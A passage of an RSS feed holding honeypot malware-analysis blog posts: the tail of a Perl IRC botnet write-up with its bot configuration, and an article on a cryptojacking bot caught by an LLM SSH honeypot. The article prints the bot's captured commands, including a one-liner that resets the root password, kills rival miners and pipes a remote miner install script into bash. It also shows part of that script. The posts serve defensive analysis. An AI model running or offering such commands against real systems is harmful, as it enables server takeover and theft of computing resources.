&lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;$linas_max&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;8&lt;/span&gt;&lt;span class="p"&gt;';&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;$sleep&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;5&lt;/span&gt;&lt;span class="p"&gt;';&lt;/span&gt;

&lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;$homedir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/tmp&lt;/span&gt;&lt;span class="p"&gt;";&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;$version&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;rootbox PerlBot v2.0&lt;/span&gt;&lt;span class="p"&gt;';&lt;/span&gt;

&lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;@admins&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;("&lt;/span&gt;&lt;span class="s2"&gt;warlock`&lt;/span&gt;&lt;span class="p"&gt;");&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;@hostauth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;("&lt;/span&gt;&lt;span class="s2"&gt;terr0r.users.undernet.org&lt;/span&gt;&lt;span class="p"&gt;");&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;@channels&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;("&lt;/span&gt;&lt;span class="s2"&gt;#rootbox&lt;/span&gt;&lt;span class="p"&gt;",&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#c0d3rs-TeaM&lt;/span&gt;&lt;span class="p"&gt;");&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I used the information to access the IRC channel #rootbox and #c0d3rs-TeaM, the following image shows the threat actor connected to the channel #rootbox and the infected server connected.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnfp57n2ioegbab328aum.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnfp57n2ioegbab328aum.png" alt="Image description" width="800" height="445"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A simple way to kill a botnet is to kill the command and control server, in this case, just close/ban the IRC channels. I reported the IRC channels to the Undernet team.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This is the first of a series of articles about malware analysis and threat actor behavior.&lt;/p&gt;

&lt;p&gt;The Beelzebub team is dedicated to making the internet a better and safer place.&lt;/p&gt;

&lt;p&gt;If you want to help us with our work, please make a &lt;a href="https://www.paypal.com/donate/?business=P75FH5LXKQTAC&amp;amp;no_recurring=0&amp;amp;currency_code=EUR" rel="noopener noreferrer"&gt;donation&lt;/a&gt; to the Beelzebub project or contribute to the &lt;a href="https://github.com/mariocandela/beelzebub/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;code&lt;/a&gt; ❤️&lt;/p&gt;

</description>
      <category>honeypot</category>
      <category>llm</category>
      <category>cybersecurity</category>
      <category>botnet</category>
    </item>
    <item>
      <title>How cybercriminals make money with cryptojacking</title>
      <dc:creator>Mario Candela</dc:creator>
      <pubDate>Tue, 18 Feb 2025 09:50:18 +0000</pubDate>
      <link>https://forem.com/mariocandela/how-cybercriminals-make-money-with-cryptojacking-ohg</link>
      <guid>https://forem.com/mariocandela/how-cybercriminals-make-money-with-cryptojacking-ohg</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In this article, I’ll show you how a cybercriminal makes money with cryptojacking.&lt;br&gt;
The cryptojacking, is a type of malware that uses the victim’s computer/server to mine cryptocurrency without their consent.&lt;br&gt;
The malware first clears the system by removing any competitor malware, and then it uses xmrig as the miner, connecting to the c3pool mining pool for XMR mining.&lt;/p&gt;
&lt;h2&gt;
  
  
  Honeypot configurations
&lt;/h2&gt;

&lt;p&gt;The honeypot used for the analysis is Beelzebub, a low-code honeypot framework. You can configure an SSH LLM honeypot with just one configuration file. Below are the commands to download and configure it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;v1"&lt;/span&gt;
&lt;span class="na"&gt;protocol&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ssh"&lt;/span&gt;
&lt;span class="na"&gt;address&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:2222"&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SSH&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;LLM&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Honeypot"&lt;/span&gt;
&lt;span class="na"&gt;commands&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;regex&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;^(.+)$"&lt;/span&gt;
    &lt;span class="na"&gt;plugin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;LLMHoneypot"&lt;/span&gt;
&lt;span class="na"&gt;serverVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;OpenSSH"&lt;/span&gt;
&lt;span class="na"&gt;serverName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ubuntu"&lt;/span&gt;
&lt;span class="na"&gt;passwordRegex&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;^(root|qwerty|Smoker666|123456|jenkins|minecraft|sinus|alex|postgres|Ly123456)$"&lt;/span&gt;
&lt;span class="na"&gt;deadlineTimeoutSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;120&lt;/span&gt;
&lt;span class="na"&gt;plugin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;llmModel&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt4-o"&lt;/span&gt;
    &lt;span class="na"&gt;openAISecretKey&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sk-proj-1234567890"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For more information, refer to the Beelzebub documentation: &lt;a href="https://github.com/mariocandela/beelzebub" rel="noopener noreferrer"&gt;https://github.com/mariocandela/beelzebub&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Analysis
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frbjrfouzcq71eakvvt3u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frbjrfouzcq71eakvvt3u.png" alt="Image description" width="600" height="327"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The source IP address of crypto jacking bot is 64.23.235.100, and the username and password used are validator/qwerty.&lt;/p&gt;

&lt;p&gt;Below are the commands executed by the cryptojacking bot and the output from the LLM honeypot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt;
Linux &lt;span class="nb"&gt;hostname &lt;/span&gt;5.15.0-50-generic 56-Ubuntu SMP Tue Sep 20 16:18:39 UTC 2022 x86_6416:22:01 up  1:24,  2 &lt;span class="nb"&gt;users&lt;/span&gt;,  load average: 0.72, 0.65, 0.70
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;uptime&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt;
up 1 hour, 22 minutes
&lt;span class="nv"&gt;$ &lt;/span&gt;lspci | &lt;span class="nb"&gt;grep &lt;/span&gt;VGA | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-f5-&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt;
Intel Corporation HD Graphics 620
&lt;span class="nv"&gt;$ &lt;/span&gt;lspci | &lt;span class="nb"&gt;grep &lt;/span&gt;VGA &lt;span class="nt"&gt;-c&lt;/span&gt;
1
&lt;span class="nv"&gt;$ &lt;/span&gt;nvidia-smi &lt;span class="nt"&gt;-q&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="se"&gt;\"&lt;/span&gt;Product Name&lt;span class="se"&gt;\"&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 1 | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $4, $5, $6, $7, $8, $9, $10, $11}'&lt;/span&gt;
GeForce RTX 3080
&lt;span class="nv"&gt;$ &lt;/span&gt;lspci | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="se"&gt;\"&lt;/span&gt;3D controller&lt;span class="se"&gt;\"&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-f5-&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt;
NVIDIA Corporation GM107GL &lt;span class="o"&gt;[&lt;/span&gt;Quadro M2000]
&lt;span class="nv"&gt;$ &lt;/span&gt;nvidia-smi &lt;span class="nt"&gt;-q&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="se"&gt;\"&lt;/span&gt;Product Name&lt;span class="se"&gt;\"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $4, $5, $6, $7, $8, $9, $10, $11}'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt;
1
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;nproc&lt;/span&gt; &lt;span class="nt"&gt;--all&lt;/span&gt;
4
&lt;span class="nv"&gt;$ &lt;/span&gt;ip r | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-Eo&lt;/span&gt; &lt;span class="s1"&gt;'[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/[0-9]{1,2}'&lt;/span&gt;
192.168.1.0/24
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;echo &lt;/span&gt;root:2glehe5t24th1issZs|chpasswd|bash&lt;span class="p"&gt;;&lt;/span&gt; pkill kswapd0&lt;span class="p"&gt;;&lt;/span&gt; pkill xmrig&lt;span class="p"&gt;;&lt;/span&gt; pkill cnrig&lt;span class="p"&gt;;&lt;/span&gt; pkill xmrig64&lt;span class="p"&gt;;&lt;/span&gt; curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt; http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | bash &lt;span class="nt"&gt;-s&lt;/span&gt; 4B7vD4PrcGdES1grKPBH5jbsh4SgknSzkFFRHxWMqux7bJrieQoawCiFnd36wKTPtAUXJLeQBZWKRKza7qJaQscx2kCCrZo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The bot executes a series of commands to gather system information and prepare it for cryptojacking.&lt;/p&gt;

&lt;p&gt;Collecting system information:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;Identifying the operating system and kernel:&lt;/em&gt; Uses uname to verify that the system is Linux, providing details about the kernel and architecture.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Checking system uptime:&lt;/em&gt; Uses uptime -p to see how long the system has been running.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Investigating the graphics hardware:&lt;/em&gt; Uses lspci and nvidia-smi to identify the installed graphics cards (both the integrated Intel HD 620 and Nvidia GPUs, such as the GeForce RTX 3080 and the Quadro M2000) and to count how many there are.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Checking computing resources:&lt;/em&gt; Uses nproc --all to determine the number of available CPU cores.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Analyzing the network:&lt;/em&gt; Uses ip r to identify the local subnet (in this case, 192.168.1.0/24).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Preparing the system for mining:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;Changing the root password:&lt;/em&gt; The attacker attempts to set a new password for the root user using chpasswd&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Terminating any existing miner processes:&lt;/em&gt; Executes several pkill commands to stop miner-related processes (xmrig, cnrig, xmrig64, etc.) to remove possible competitors :D&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Downloading and executing the mining script:&lt;/em&gt; Attempts to download an installation script for the miner (xmrig) from a remote server (download.c3pool.org) and execute it, passing the XMR wallet address for mining.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Next, we analyze the script downloaded by the crypto jacking:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="nv"&gt;VERSION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2.11

&lt;span class="c"&gt;# printing greetings&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"C3Pool mining setup script v&lt;/span&gt;&lt;span class="nv"&gt;$VERSION&lt;/span&gt;&lt;span class="s2"&gt;."&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"警告: 请勿将此脚本使用在非法用途,如有发现在非自己所有权的服务器内使用该脚本"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"我们将在接到举报后,封禁违法的钱包地址,并将有关信息收集并提交给警方"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"(please report issues to support@c3pool.com email with full output of this script with extra &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;-x&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;bash&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; option)"&lt;/span&gt;
&lt;span class="nb"&gt;echo

&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"0"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"WARNING: Generally it is not adviced to run this script under root"&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"警告: 不建议在root用户下使用此脚本"&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# command line arguments&lt;/span&gt;
&lt;span class="nv"&gt;WALLET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;span class="nv"&gt;EMAIL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt; &lt;span class="c"&gt;# this one is optional&lt;/span&gt;

&lt;span class="c"&gt;# checking prerequisites&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; &lt;span class="nv"&gt;$WALLET&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Script usage:"&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;gt; setup_c3pool_miner.sh &amp;lt;wallet address&amp;gt; [&amp;lt;your email address&amp;gt;]"&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"ERROR: Please specify your wallet address"&lt;/span&gt;
  &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="nb"&gt;.&lt;/span&gt;

Install xmrig ...
I removed the script content &lt;span class="k"&gt;for &lt;/span&gt;brevity, but you can find the full script http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;C3pool is a mining pool for the Monero (XMR) cryptocurrency. The script is a setup script for the xmrig miner, which is a popular Monero miner. It checks for prerequisites, such as the wallet address and email, and then proceeds to install the miner.&lt;/p&gt;

&lt;p&gt;I used the wallet address to check the mining pool and determine the amount of XMR mined by the cryptojacking.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkawgyoc734jdlx2auy86.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkawgyoc734jdlx2auy86.png" alt="Image description" width="800" height="81"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Wow, 20 XMR paid approximately 4126$&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5s64292kc3wnujbgc2vx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5s64292kc3wnujbgc2vx.png" alt="Image description" width="634" height="438"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A simple way to stop this cryptojacking is to disable the mining pool by closing or banning the public wallet address from c3pool.&lt;br&gt;
&lt;em&gt;I reported the wallet to the c3pool team, and they removed all the infected miners.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This is the second article in a series about malware analysis and counterattacks.&lt;/p&gt;

&lt;p&gt;The Beelzebub team is dedicated to making the internet a better and safer place.&lt;/p&gt;

&lt;p&gt;If you want to help us with our work, please make a &lt;a href="https://www.paypal.com/donate/?business=P75FH5LXKQTAC&amp;amp;no_recurring=0&amp;amp;currency_code=EUR" rel="noopener noreferrer"&gt;donation&lt;/a&gt; to the Beelzebub project or contribute to the &lt;a href="https://github.com/mariocandela/beelzebub/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;code&lt;/a&gt; ❤️&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>llm</category>
      <category>ethicalhacker</category>
      <category>cryptocurrency</category>
    </item>
  </channel>
</rss>
